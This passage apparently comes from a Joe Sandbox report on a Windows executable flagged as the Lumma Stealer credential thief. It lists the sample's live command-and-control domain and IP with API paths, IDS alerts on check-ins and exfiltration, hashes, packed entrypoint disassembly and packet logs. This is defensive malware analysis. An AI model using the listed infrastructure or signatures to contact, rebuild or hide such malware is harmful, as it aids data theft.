https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/apig	hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186567782.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186728190.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186693933.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187503260.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clockersspic.click/f	hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/	hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clockersspic.click:443/api	hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/apiZ	hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187586723.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/	hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://clockersspic.click/F	hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clockersspic.click/apiD	hthjjadrthad.exe, 00000000.00000002.2187586723.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.85.66	clockersspic.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583921
Start date and time:	2025-01-03 21:15:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hthjjadrthad.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 35 Number of non-executed functions: 155
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 20.190.159.73, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hthjjadrthad.exe

Simulations

Behavior and APIs

Time	Type	Description
15:15:54	API Interceptor	8x Sleep call for process: hthjjadrthad.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	http://www.cipassoitalia.it/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	188.114.96.3
	Mj6WEKda85.exe	Get hash	malicious	DCRat	Browse	104.21.12.142
	https://rfqdocu.construction-org.com/Q5kL4/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.earthsatellitemaps.co/esmrel/landing.php?uid=0&lid=0&sid=531485973&sid2=1361197931118060&sid3=&sid4=google%20maps%20pro&sid5=&sid6=&sid7=&sid8=&rid=&_agid=0&aid=0&r=657&_agid=73407&msclkid=8b3e7b2e92fe1f072cfc1c5c7ae3c44d	Get hash	malicious	Unknown	Browse	104.17.25.14
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	188.114.96.3
	m.txt.ps1	Get hash	malicious	Unknown	Browse	172.67.212.107
	https://t.co/jNNzVU90SA	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	nayfObR.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	http://www.klim.com	Get hash	malicious	Unknown	Browse	104.18.27.193

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.85.66
	HSBC_PAY.SCR.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.85.66
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.85.66
	nayfObR.exe	Get hash	malicious	LummaC	Browse	104.21.85.66
	7z91gvU.exe	Get hash	malicious	LummaC	Browse	104.21.85.66
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.85.66
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.85.66
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.66
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.66

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.988696279208119
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hthjjadrthad.exe
File size:	1'268'224 bytes
MD5:	8cb303a0d38bfd91163192b53ce3b01d
SHA1:	f4634ef2bcd87793c7d926712b419a64337e5c37
SHA256:	3e558e5afa7c9a71c3dff2dc161a96df7e8aa9711d480501622d13a5e4015122
SHA512:	4d3f3b2ab4651548bb23b58d23e595c14760c8e1da7729a59d1d28ae9cd4930045f1873ad54464383074afbb6c505bb0a3fd87021e5a9e89331e0972c7c3387c
SSDEEP:	24576:EDnubmjlREOivWlyVPWemgkv2MtQnHnejg6EQ6EqmgiPT:OqsbEwS/Dy1qxQ6EqY
TLSH:	8C4533441E91FBF0D305AAF4C59A4964431A9F96342FAF510EAF4C574EFEA5C0E202EE
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....6_g..........................................@...........................;...........@................................. @-....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41e6c0
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F361B [Sun Dec 15 20:03:39 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	71cc5af9daad65e58c6f29c42cdf9201

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007FC4C890E326h
call far 5DE5h : 8B10C483h
jmp 00007FC4C8CA7439h
jno 00007FC4C890E36Fh
push esi
jmp 00007FC4EEAFBA7Ch
jne 00007FC4C890E39Dh
and ebx, ecx
cmp bh, bh
mov al, byte ptr [86C05068h]
into
mov bp, fs
aam 17h
bound eax, dword ptr [edi+ebx*8-53h]
xchg eax, edx
push ebp
or dword ptr [edx+46DCD4DAh], ebp
lodsd
dec ecx
cdq
inc ecx
jmp far 417Dh : 374977E1h
sal dword ptr [ecx+72h], cl
add ebp, eax
pshufw mm4, qword ptr [esi], 50h
add dh, byte ptr [eax-56h]
hlt
add dword ptr [edi+5CA14F18h], eax
jl 00007FC4C890E371h
and esi, dword ptr [edi]
pop ds
mov bl, 84h
int C9h
push ss
jle 00007FC4C890E323h
jbe 00007FC4C890E31Fh
aad 98h
scasb
sbb eax, 23555BC5h
lahf
popfd
lodsd
test al, 2Bh
adc eax, F53A7B2Bh
aam CAh
wait
xor ebx, dword ptr [ebp-6Eh]
lodsd
test cl, FFFFFFCAh
inc esi
into
push ss
push ebp
dec ebp
push ebp
cmc
movsb
loopne 00007FC4C890E39Ah
jp 00007FC4C890E356h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d4020	0x214	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d4000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x3c000	0x1ee00	14da312f7b3fb99572bd5cc130cbac72	False	0.9973668395748988	data	7.996796575455478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3d000	0x3000	0xe00	755aeebb276de7cab39558d5dd165699	False	0.9757254464285714	data	7.847458728276635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x40000	0x10000	0x2e00	1d18e9b87e32f0589fff2dc2b7cebb9d	False	0.9814028532608695	COM executable for DOS	7.94106645050363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x50000	0x1000	0x200	efebc7032129c08503412fcbeb1e096a	False	0.04296875	data	0.1833387916558982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x51000	0x4000	0x2200	15c53adce10ff06578b0fa43e2fe0537	False	0.9555376838235294	data	7.842449506195032	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x27f000	0x2ba00	bdbd9ac0030aa80ac8b90095a1090ff9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2d4000	0xe5000	0xe4e00	fd988c8d7a5589c8d61ab3d57569de78	False	0.9971177805843802	data	7.981701136395229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
ole32.dll	CoCreateInstance

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T21:15:54.737602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	104.21.85.66	443	TCP
2025-01-03T21:15:55.525902+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49712	104.21.85.66	443	TCP
2025-01-03T21:15:55.525902+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49712	104.21.85.66	443	TCP
2025-01-03T21:15:56.021354+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	104.21.85.66	443	TCP
2025-01-03T21:15:58.111101+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49713	104.21.85.66	443	TCP
2025-01-03T21:15:58.111101+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49713	104.21.85.66	443	TCP
2025-01-03T21:15:58.933728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.85.66	443	TCP
2025-01-03T21:16:00.200140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	104.21.85.66	443	TCP
2025-01-03T21:16:01.422433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	104.21.85.66	443	TCP
2025-01-03T21:16:03.519497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49717	104.21.85.66	443	TCP
2025-01-03T21:16:07.821692+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49717	104.21.85.66	443	TCP
2025-01-03T21:16:08.681791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49718	104.21.85.66	443	TCP
2025-01-03T21:16:08.694065+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49718	104.21.85.66	443	TCP
2025-01-03T21:16:11.545327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.85.66	443	TCP
2025-01-03T21:16:12.033448+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49720	104.21.85.66	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 21:15:54.253422976 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.253494024 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:54.253561974 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.256691933 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.256711006 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:54.737523079 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:54.737601995 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.739308119 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.739322901 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:54.739804029 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:54.783616066 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.783646107 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:54.783739090 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.525903940 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.526021957 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.526237965 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.527782917 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.527807951 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.527820110 CET	49712	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.527826071 CET	443	49712	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.535218000 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.535270929 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:55.535358906 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.535645008 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:55.535664082 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:56.021218061 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:56.021353960 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:56.023076057 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:56.023086071 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:56.023344994 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:56.024447918 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:56.024481058 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:56.024538040 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111140966 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111188889 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111232042 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111279011 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111329079 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111437082 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.111437082 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.111452103 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111500978 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.111594915 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111656904 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.111700058 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.111706972 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.112297058 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.112349033 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.112354994 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.115979910 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.116027117 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.116034031 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.161851883 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.203161955 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.203233004 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.203283072 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.203294039 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.203330994 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.203377962 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.203463078 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.203476906 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.203486919 CET	49713	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.203491926 CET	443	49713	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.448661089 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.448721886 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.448801041 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.449103117 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.449120045 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.933531046 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.933727980 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.934930086 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.934942961 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.935192108 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:58.936491966 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.936646938 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:58.936691999 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:59.575301886 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:59.575421095 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:59.575520992 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:59.575623035 CET	49714	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:59.575644970 CET	443	49714	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:59.712796926 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:59.712835073 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:15:59.712901115 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:59.713186026 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:15:59.713197947 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.200054884 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.200139999 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.201334000 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.201348066 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.201607943 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.202770948 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.202884912 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.202915907 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.202974081 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.243335962 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.755100965 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.755186081 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.755347013 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.755409956 CET	49715	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.755426884 CET	443	49715	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.947016001 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.947065115 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:00.947161913 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.947469950 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:00.947485924 CET	443	49716	104.21.85.66	192.168.2.5
